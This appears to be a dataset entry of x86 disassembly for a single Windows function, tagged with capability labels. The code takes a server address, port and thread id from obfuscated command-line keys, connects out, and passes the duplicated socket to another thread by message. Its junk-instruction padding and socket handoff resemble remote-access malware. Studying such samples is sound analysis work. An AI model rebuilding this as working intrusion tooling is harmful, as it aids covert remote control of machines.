Function at 0x10010dc0
Capabilities:
Accept command line arguments
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je 0x10010dde
nop
nop
nop
nop
sub al, 0x2d
pop eax
pop eax
cmp dword [ebp + 0xc], 1
jne 0x10010ff8
mov eax, dword [ebp + 8]
mov dword [0x10014784], eax
mov word [ebp - 0x2b0], 0
mov ecx, 0x63
xor eax, eax
lea edi, [ebp - 0x2ae]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x2b0]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov byte [ebp - 0x3b0], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x3af]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x120], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x20], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x3b0]
push edx
push str.MyThReAdId
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.10009bb0
add esp, 0xc
and eax, eax
je 0x10010ff8
lea eax, [ebp - 0x120]
push eax
push str.mYsErVeRaDdR
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.10009bb0
sub esp, 0xfffffff4
or eax, eax
je 0x10010ff8
lea ecx, [ebp - 0x20]
push ecx
push str.MySeRvErPoRt
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.10009bb0
add esp, 0xc
or eax, eax
je 0x10010ff8
lea edx, [ebp - 0x3b0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
mov dword [ebp - 0x3b4], eax
push 0
push 1
push 0x5ba
mov eax, dword [ebp - 0x3b4]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
mov dword [ebp - 0x52c], 0
mov ecx, 0x5c
xor eax, eax
lea edi, [ebp - 0x528]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
lea edx, [ebp - 0x120]
push edx
call fcn.10005e50
add esp, 8
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0
je 0x10010f52
lea eax, [ebp - 0x52c]
push eax
mov ecx, dword [0x10016034]
push ecx
mov edx, dword [ebp - 0x3b8]
push edx
call dword [sym.imp.WS2_32.dll_WSADuplicateSocketA]
test eax, eax
je 0x10010f6a
push 0
push 0
push 0x5b8
mov eax, dword [ebp - 0x3b4]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
jmp 0x10010fda
lea ecx, [ebp - 0x52c]
mov dword [ebp - 0x530], ecx
mov dword [ebp - 0x534], 0
jmp 0x10010f91
mov edx, dword [ebp - 0x534]
add edx, 1
mov dword [ebp - 0x534], edx
cmp dword [ebp - 0x534], 0x174
jae 0x10010fc4
mov eax, dword [ebp - 0x530]
add eax, dword [ebp - 0x534]
xor ecx, ecx
mov cl, byte [eax]
push ecx
push 0
push 0x5b7
mov edx, dword [ebp - 0x3b4]
push edx
call dword [sym.imp.USER32.dll_PostThreadMessageA]
jmp 0x10010f82
push 0
push 1
push 0x5b7
mov eax, dword [ebp - 0x3b4]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
cmp dword [ebp - 0x3b8], 0
je 0x10010ff0
mov ecx, dword [ebp - 0x3b8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc